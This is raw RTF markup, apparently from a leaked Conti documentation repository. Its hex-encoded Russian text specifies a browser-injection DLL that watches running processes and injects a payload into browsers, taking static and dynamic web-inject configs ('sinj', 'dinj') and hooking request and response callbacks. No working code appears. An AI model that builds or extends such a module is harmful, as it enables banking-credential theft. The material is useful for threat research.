\'cf\'ee\'e4\'f0\'e0\'e7\'f3\'ec\'e5\'e2\'e0\'e5\'f2\'f1\'ff \'f7\'f2\'ee \'e2 \'ea\'ee\'ed\'f4\'e8\'e3\'e5 \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'f5 \'e8\'ed\'e6\'e5\'ea\'f2\'ee\'e2 \'e2\'f1\'e5 \'ec\'e0\'f1\'ea\'e8 \'f1\'f0\'e0\'e1\'e0\'f2\'fb\'e2\'e0\'ed\'e8\'ff (\'e8, \'f1\'ee\'ee\'f2\'e2\'e5\'f2\'f1\'f2\'e2\'e5\'ed\'ed\'ee, \'ec\'e0\'f1\'ea\'e8 \'e2\'ea\'fe\'f7\'e5\'ed\'e8\'ff) \'ed\'e5 \'ef\'e5\'f0\'e5\'f1\'e5\'ea\'e0\'fe\'f2\'f1\'ff \'e4\'f0\'f3\'e3 \'f1 \'e4\'f0\'f3\'e3\'ee\'ec. \'cf\'ee\'e4\'f0\'e0\'e7\'f3\'ec\'e5\'e2\'e0\'e5\'f2\'f1\'ff \'f7\'f2\'ee \'f1\'f1\'fb\'eb\'ea\'e0 \'ea\'ee\'eb\'e1\'fd\'ea\'e5 \f1\lang1033 CheckURL\f0\lang1049 \'f1\'f0\'e0\'e1\'ee\'f2\'e0\'e5\'f2 \'f2\'ee\'eb\'fc\'ea\'ee \'ed\'e0 \'ee\'e4\'ed\'ee\'e9 \'ec\'e0\'f1\'ea\'e5 \'e2\'ea\'eb\'fe\'f7\'e5\'ed\'e8\'ff, \'e0 \'e2 \'ea\'ee\'eb\'e1\'fd\'ea\'e5 \f1\lang1033 BeforeSendRequest\f0\lang1049 \'f1\'f1\'fb\'eb\'ea\'e0 \'f1\'f0\'e0\'e1\'ee\'f2\'e0\'e5\'f2 \'f2\'ee\'eb\'fc\'ea\'ee \'ed\'e0 \'ee\'e4\'ed\'ee\'e9 \'ec\'e0\'f1\'ea\'e5 \'f1\'f0\'e0\'e1\'e0\'f2\'fb\'e2\'e0\'ed\'e8\'ff. \'c2 \'ef\'f0\'ee\'f2\'e8\'e2\'ed\'ee\'ec \'f1\'eb\'f3\'f7\'e0\'e5 \'f0\'e0\'e7\'f0\'e5\'f8\'e5\'ed\'e8\'e5 \'f1\'e8\'f2\'f3\'e0\'f6\'e8\'e8 \'e7\'e0\'e2\'e8\'f1\'e8\'f2 \'ee\'f2 \'f0\'e0\'e7\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0. \'cf\'ee\'e4\'f0\'e0\'e7\'f3\'ec\'e5\'e2\'e0\'e5\'f2\'f1\'ff, \'f7\'f2\'ee \'e0\'e2\'f2\'ee\'f0 \'ea\'ee\'ed\'f4\'e8\'e3\'e0 \'ef\'ee\'e7\'e0\'e1\'ee\'f2\'e8\'f2\'f1\'ff \'ee\'e1 \'f3\'ed\'e8\'ea\'e0\'eb\'fc\'ed\'ee\'f1\'f2\'e8 \'ec\'e0\'f1\'ee\'ea \'e2 \'f2\'e5\'e3\'e0\'f5 "\f1\lang1033 sinj\f0\lang1049 ".\par
\'c5\'f1\'eb\'e8 \'ea\'ee\'eb\'e1\'fd\'ea\'e5 \f1\lang1033 AfterReceiveResponse \f0\lang1049\'e8\'e7\'e2\'e5\'f1\'f2\'ed\'ee \'f7\'f2\'ee \'e7\'e0\'ef\'f0\'ee\'f1 \'e1\'fb\'eb \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'e0\'ed \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'ec \'e8\'ed\'e6\'e5\'ea\'f2\'ee\'ec, \'f2\'ee \'ee\'ed \'ed\'e5 \'e4\'ee\'eb\'e6\'e5\'ed \'e1\'fb\'f2\'fc \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'e0\'ed \'e4\'e8\'ed\'e0\'ec\'e8\'f7\'e5\'f1\'ea\'e8\'ec \'e8\'ed\'e6\'e5\'ea\'f2\'ee\'ec. \'d2\'e0\'ea\'e8\'ec \'ee\'e1\'f0\'e0\'e7\'ee\'ec, \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'e5 \'e8\'ed\'e6\'e5\'ea\'f2\'fb \'e8\'ec\'e5\'fe\'f2 \'ef\'f0\'e8\'ee\'f0\'e8\'f2\'e5\'f2 \'ef\'e5\'f0\'e5\'e4 \'e4\'e8\'ed\'e0\'ec\'e8\'f7\'e5\'f1\'ea\'e8\'ec\'e8.\cf2\par
\cf0\f1\lang9\par
}

411
Conti Documentation Leak/docs/injector/module.rtf

@ -0,0 +1,411 @@
{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}
{\f2\fbidi \fmodern\fcharset204\fprq1{\*\panose 02070309020205020404}Courier New;}{\f2\fbidi \fmodern\fcharset204\fprq1{\*\panose 02070309020205020404}Courier New;}{\f37\fbidi \fswiss\fcharset204\fprq2{\*\panose 020f0502020204030204}Calibri;}
{\f40\fbidi \fmodern\fcharset204\fprq1{\*\panose 02070309020205020404}Courier New CYR;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}
{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\*\panose 020f0302020204030204}Calibri Light;}
{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}
{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhiminor\f31506\fbidi \fswiss\fcharset204\fprq2{\*\panose 020f0502020204030204}Calibri;}
{\fbiminor\f31507\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f43\fbidi \froman\fcharset0\fprq2 Times New Roman;}{\f41\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}
{\f44\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\f45\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\f46\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\f47\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}
{\f48\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\f49\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\f63\fbidi \fmodern\fcharset0\fprq1 Courier New;}{\f61\fbidi \fmodern\fcharset238\fprq1 Courier New CE;}
{\f64\fbidi \fmodern\fcharset161\fprq1 Courier New Greek;}{\f65\fbidi \fmodern\fcharset162\fprq1 Courier New Tur;}{\f66\fbidi \fmodern\fcharset177\fprq1 Courier New (Hebrew);}{\f67\fbidi \fmodern\fcharset178\fprq1 Courier New (Arabic);}
{\f68\fbidi \fmodern\fcharset186\fprq1 Courier New Baltic;}{\f69\fbidi \fmodern\fcharset163\fprq1 Courier New (Vietnamese);}{\f63\fbidi \fmodern\fcharset0\fprq1 Courier New;}{\f61\fbidi \fmodern\fcharset238\fprq1 Courier New CE;}
{\f64\fbidi \fmodern\fcharset161\fprq1 Courier New Greek;}{\f65\fbidi \fmodern\fcharset162\fprq1 Courier New Tur;}{\f66\fbidi \fmodern\fcharset177\fprq1 Courier New (Hebrew);}{\f67\fbidi \fmodern\fcharset178\fprq1 Courier New (Arabic);}
{\f68\fbidi \fmodern\fcharset186\fprq1 Courier New Baltic;}{\f69\fbidi \fmodern\fcharset163\fprq1 Courier New (Vietnamese);}{\f413\fbidi \fswiss\fcharset0\fprq2 Calibri;}{\f411\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}
{\f414\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\f415\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;}{\f418\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}{\f419\fbidi \fswiss\fcharset163\fprq2 Calibri (Vietnamese);}
{\f443\fbidi \fmodern\fcharset0\fprq1 Courier New CYR;}{\f441\fbidi \fmodern\fcharset238\fprq1 Courier New CYR CE;}{\f444\fbidi \fmodern\fcharset161\fprq1 Courier New CYR Greek;}{\f445\fbidi \fmodern\fcharset162\fprq1 Courier New CYR Tur;}
{\f446\fbidi \fmodern\fcharset177\fprq1 Courier New CYR (Hebrew);}{\f447\fbidi \fmodern\fcharset178\fprq1 Courier New CYR (Arabic);}{\f448\fbidi \fmodern\fcharset186\fprq1 Courier New CYR Baltic;}
{\f449\fbidi \fmodern\fcharset163\fprq1 Courier New CYR (Vietnamese);}{\flomajor\f31510\fbidi \froman\fcharset0\fprq2 Times New Roman;}{\flomajor\f31508\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}
{\flomajor\f31511\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\flomajor\f31512\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flomajor\f31513\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}
{\flomajor\f31514\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\flomajor\f31515\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flomajor\f31516\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}
{\fdbmajor\f31520\fbidi \froman\fcharset0\fprq2 Times New Roman;}{\fdbmajor\f31518\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fdbmajor\f31521\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}
{\fdbmajor\f31522\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fdbmajor\f31523\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fdbmajor\f31524\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}
{\fdbmajor\f31525\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fdbmajor\f31526\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fhimajor\f31530\fbidi \fswiss\fcharset0\fprq2 Calibri Light;}
{\fhimajor\f31528\fbidi \fswiss\fcharset238\fprq2 Calibri Light CE;}{\fhimajor\f31531\fbidi \fswiss\fcharset161\fprq2 Calibri Light Greek;}{\fhimajor\f31532\fbidi \fswiss\fcharset162\fprq2 Calibri Light Tur;}
{\fhimajor\f31535\fbidi \fswiss\fcharset186\fprq2 Calibri Light Baltic;}{\fhimajor\f31536\fbidi \fswiss\fcharset163\fprq2 Calibri Light (Vietnamese);}{\fbimajor\f31540\fbidi \froman\fcharset0\fprq2 Times New Roman;}
{\fbimajor\f31538\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbimajor\f31541\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbimajor\f31542\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}
{\fbimajor\f31543\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fbimajor\f31544\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbimajor\f31545\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}
{\fbimajor\f31546\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\flominor\f31550\fbidi \froman\fcharset0\fprq2 Times New Roman;}{\flominor\f31548\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}
{\flominor\f31551\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\flominor\f31552\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flominor\f31553\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}
{\flominor\f31554\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\flominor\f31555\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flominor\f31556\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}
{\fdbminor\f31560\fbidi \froman\fcharset0\fprq2 Times New Roman;}{\fdbminor\f31558\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fdbminor\f31561\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}
{\fdbminor\f31562\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fdbminor\f31563\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fdbminor\f31564\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}
{\fdbminor\f31565\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fdbminor\f31566\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fhiminor\f31570\fbidi \fswiss\fcharset0\fprq2 Calibri;}
{\fhiminor\f31568\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\fhiminor\f31571\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\fhiminor\f31572\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;}
{\fhiminor\f31575\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}{\fhiminor\f31576\fbidi \fswiss\fcharset163\fprq2 Calibri (Vietnamese);}{\fbiminor\f31580\fbidi \froman\fcharset0\fprq2 Times New Roman;}
{\fbiminor\f31578\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbiminor\f31581\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbiminor\f31582\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}
{\fbiminor\f31583\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fbiminor\f31584\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbiminor\f31585\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}
{\fbiminor\f31586\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}}{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;
\red255\green255\blue255;\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0;\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;}{\*\defchp
\fs22\loch\af31506\hich\af31506\dbch\af31505 }{\*\defpap \ql \li0\ri0\sa160\sl259\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 }\noqfpromote {\stylesheet{\ql \li0\ri0\sa160\sl259\slmult1
\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \fs22\lang1049\langfe1049\loch\f31506\hich\af31506\dbch\af31505\cgrid\langnp1049\langfenp1049 \snext0 \sqformat \spriority0 Normal;}
{\*\cs10 \additive \ssemihidden \sunhideused \spriority1 Default Paragraph Font;}{\*
\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\trcbpat1\trcfpat1\tblind0\tblindtype3\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv \ql \li0\ri0\sa160\sl259\slmult1
\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \fs22\lang1049\langfe1049\loch\f31506\hich\af31506\dbch\af31505\cgrid\langnp1049\langfenp1049 \snext11 \ssemihidden \sunhideused
Normal Table;}}{\*\rsidtbl \rsid9332050\rsid11490090\rsid15096106}{\mmathPr\mmathFont34\mbrkBin0\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author fonin}{\operator fonin}
{\creatim\yr2016\mo7\dy26\hr13\min23}{\revtim\yr2016\mo7\dy26\hr13\min23}{\version2}{\edmins0}{\nofpages4}{\nofwords640}{\nofchars3652}{\nofcharsws4284}{\vern57435}}{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}
\paperw12240\paperh15840\margl1701\margr850\margt1134\margb1134\gutter0\ltrsect
\widowctrl\ftnbj\aenddoc\trackmoves0\trackformatting1\donotembedsysfont0\relyonvml0\donotembedlingdata1\grfdocevents0\validatexml0\showplaceholdtext0\ignoremixedcontent0\saveinvalidxml0\showxmlerrors0\horzdoc\dghspace120\dgvspace120\dghorigin1701
\dgvorigin1984\dghshow0\dgvshow3\jcompress\viewkind1\viewscale100\rsidroot9332050 \fet0{\*\wgrffmtfilter 2450}\ilfomacatclnup0\ltrpar \sectd \ltrsect\linex0\sectdefaultcl\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2
\pnucltr\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6
\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang
{\pntxtb (}{\pntxta )}}\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\nowidctlpar\wrapdefault\faauto\rin0\lin0\itap0 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0
\fs22\lang1049\langfe1049\loch\af31506\hich\af31506\dbch\af31505\cgrid\langnp1049\langfenp1049 {\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'cd\'e0\'e4\'ee\loch\f37 \hich\f37 \'f0\'e5\'e0\'eb\'e8\'e7\'ee\'e2\'e0
\'f2\'fc\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 DLL (}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'fd\'f2\'f3\loch\f37 }{
\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 DLL }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'ec\'fb\loch\f37 \hich\f37 \'ed\'e0\'e7\'ee\'e2
\'b8\'ec\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'e5\'ec}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 ) }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106
\loch\af37\dbch\af31505\hich\f37 \'ea\'ee\'f2\'ee\'f0\'e0\'ff\loch\f37 \hich\f37 \'e1\'f3\'e4\'e5\'f2\loch\f37 \hich\f37 \'f0\'e0\'e1\'ee\'f2\'e0\'f2\'fc\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'eb\'e5\'e2\'ee\'ec\loch\f37 \hich\f37 \'ef\'f0\'ee
\'e8\'e7\'e2\'ee\'eb\'fc\'ed\'ee\'ec\loch\f37 \hich\f37 \'ef\'f0\'ee\'f6\'e5\'f1\'f1\'e5\loch\f37 \hich\f37 , \'ee\'f2\'f2\'f3\'e4\'e0\loch\f37 \hich\f37 \'ec\'ee\'ed\'e8\'f2\'ee\'f0\'e8\'f2\'fc\loch\f37 \hich\f37 \'f1\'ef\'e8\'f1\'ee\'ea\loch\f37
\hich\f37 \'ef\'f0\'ee\'f6\'e5\'f1\'f1\'ee\'e2\loch\f37 \hich\f37 \'e8\loch\f37 \hich\f37 \'e2\'ed\'e5\'e4\'f0\'ff\'f2\'fc\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'e1\'f0\'e0\'f3\'e7\'e5\'f0\'fb\loch\f37 \hich\f37 \'ed\'e0\'e3\'f0\'f3\'e7\'ea
\'f3\loch\f37 \hich\f37 (\'e2\'ee\'e7\'ec\'ee\'e6\'ed\'ee\loch\f37 , }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 DLL }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106
\loch\af37\dbch\af31505\hich\f37 \'ea\'ee\'f2\'ee\'f0\'e0\'ff\loch\f37 \hich\f37 \'e1\'f3\'e4\'e5\'f2\loch\f37 \hich\f37 \'f0\'e0\'e1\'ee\'f2\'e0\'f2\'fc\loch\f37 \hich\f37 \'f3\'e6\'e5\loch\f37 \hich\f37 \'ea\'ee\'ed\'ea\'f0\'e5\'f2\'ed\'ee\loch\f37
\hich\f37 \'e2\loch\f37 \hich\f37 \'e1\'f0\'e0\'f3\'e7\'e5\'f0\'e5\loch\f37 ).
\par \loch\af37\dbch\af31505\hich\f37 \'cd\'e0\loch\f37 \hich\f37 64 \'e1\'e8\'f2\'ed\'ee\'e9\loch\f37 \hich\f37 \'f1\'e8\'f1\'f2\'e5\'ec\loch\af37\dbch\af31505\hich\f37 \'e5\loch\f37 \hich\f37 \'e1\'f3\'e4\'e5\'f2\loch\f37 \hich\f37 64-\'e1\'e8\'f2\'ed
\'fb\'e9\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'fc\loch\f37 \hich\f37 , \'e0\loch\f37 \hich\f37 \'ed\'e0\loch\f37 \hich\f37 32 \'e1\'e8\'f2\'ed\'ee\'e9\loch\f37 \hich\f37 \'f1\'e8\'f1\'f2\'e5\'ec\'e5\loch\f37 \hich\f37 32-\'e1\'e8\'f2\'ed\'fb\'e9
\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'fc}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 .
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'d2\'f3\'f2\loch\f37 \hich\f37 \'cc\'db\loch\f37 \hich\f37 \'cf\'ce\'cd\'c8\'cc\'c0\'c5\'cc\loch\f37 \hich\f37 , \'f7\'f2\'ee\loch\f37 \hich\f37 \'ed\'e0\loch\f37
\hich\f37 64 \'e1\'e8\'f2\'ed\'ee\'e9\loch\f37 \hich\f37 \'f1\'e8\'f1\'f2\'e5\'ec\'e5\loch\f37 \hich\f37 64-\'e1\'e8\'f2\'ed\'e9\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'fc\loch\f37 \hich\f37 \'e1\'f3\'e4\'e5\'f2\loch\f37 \hich\f37 \'ee\'e4\'ed\'ee
\'e2\'f0\'e5\'ec\'e5\'ed\'ed\'ee\loch\f37 \hich\f37 \'e4\'e5\'f0\'e6\'e0\'f2\'fc\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'f1\'e5\'e1\'e5\loch\f37 \hich\f37 \'ed\'e0\'e3\'f0\'f3\'e7\'ea\'f3\loch\f37 \hich\f37 \'e8\loch\f37 \hich\f37 \'e4\'eb\'ff
\loch\f37 \hich\f37 32 -\'e1\'e8\'f2\'ed\'fb\'f5\loch\f37 \hich\f37 \'e1\'f0\'e0\'f3\'e7\'e5\'f0\'ee\'e2\loch\f37 \hich\f37 \'e8\loch\f37 \hich\f37 \'e4\'eb\'ff\loch\f37 \hich\f37 64-\'e1\'e8\'f2\'ed\'fb\'f5\loch\f37 \hich\f37 \'e1\'f0\'e0\'f3\'e7
\'e5\'f0\'ee\'e2\loch\f37 !}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\par
\par \hich\af37\dbch\af31505\loch\f37 ClientID}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 , }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 group}{
\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 \'e8\loch\f37 \hich\f37 \'e2\'ed\'e5\'f8\'ed\'e8\'e9\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\hich\af37\dbch\af31505\loch\f37 IP}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 -\'e0\'e4\'f0\loch\af37\dbch\af31505\hich\f37 \'e5\'f1}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'e1\'f3\'e4\'f3\'f2\loch\f37 \hich\f37 \'ef\'e5\'f0\'e5\'e4\'e0\'ed\'fb\loch\f37
\hich\f37 \'f7\'e5\'f0\'e5\'e7\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'f6\'e8\'fe\loch\f37 }{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2 Start}{\rtlch\fcs1 \af40 \ltrch\fcs0
\f40\insrsid15096106 \hich\af40\dbch\af31505\loch\f40 \hich\f40 \'e2\loch\f40 \hich\f40 \'ef\'e0\'f0\'e0\'ec\'e5\'f2\'f0\'e5\loch\f40 }{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2
ParentInfo}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106
\par
\par \loch\af37\dbch\af31505\hich\f37 \'ca\'ee\'ed\'f4\'e8\'e3\loch\f37 \hich\f37 \'e4\'eb\'ff\loch\f37 \hich\f37 \'e4\'e8\'ed\'e0\'ec\'e8\'f7\'e5\'f1\'ea\'e8\'f5\loch\f37 \hich\f37 \'e8\'ed\'e6\'e5\'ea\'f2\'ee\'e2\loch\f37 \hich\f37 \'e1\'f3\'e4\'e5\'f2
\loch\f37 \hich\f37 \'ef\'e5\'f0\'e5\'e4\'e0\'ed\loch\f37 \hich\f37 \'f7\'e5\'f0\'e5\'e7\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'e8\'fe\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\hich\af37\dbch\af31505\loch\f37 Control( }{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2 Ctl = "dinj")}{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid15096106
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'ca\'ee\'ed\'f4\'e8\'e3\loch\f37 \hich\f37 \'e4\'eb\'ff\loch\f37 \hich\f37 \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'ea\'e8\'f5\loch\f37 \hich\f37 \'e8\'ed\'e6\'e5\'ea
\'f2\'ee\'e2\loch\f37 \hich\f37 \'e1\'f3\'e4\'e5\'f2\loch\f37 \hich\f37 \'ef\'e5\'f0\'e5\'e4\'e0\'ed\loch\f37 \hich\f37 \'f7\'e5\'f0\'e5\'e7\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'e8\'fe\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 Control( }{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af2\dbch\af31505\loch\f2 Ctl = "sinj")
\par }{\rtlch\fcs1 \af40 \ltrch\fcs0 \f40\insrsid15096106 \loch\af40\dbch\af31505\hich\f40 \'ca\'ee\'ed\'f4\'e8\'e3\'e8\loch\f40 \hich\f40 \'e8\loch\f40 \hich\f40 \'e8\'f5\loch\f40 \hich\f40 \'e4\'eb\'e8\'ed\'e0\loch\f40 \hich\f40 \'e1\'f3\'e4\'f3\'f2
\loch\f40 \hich\f40 \'ef\'e5\'f0\loch\af40\dbch\af31505\hich\f40 \'e5\'e4\'e0\'ed\'fb\loch\f40 \hich\f40 \'f7\'e5\'f0\'e5\'e7\loch\f40 \hich\f40 \'ef\'e0\'f0\'e0\'ec\'e5\'f2\'f0\'fb\loch\f40 }{\rtlch\fcs1 \af2 \ltrch\fcs0
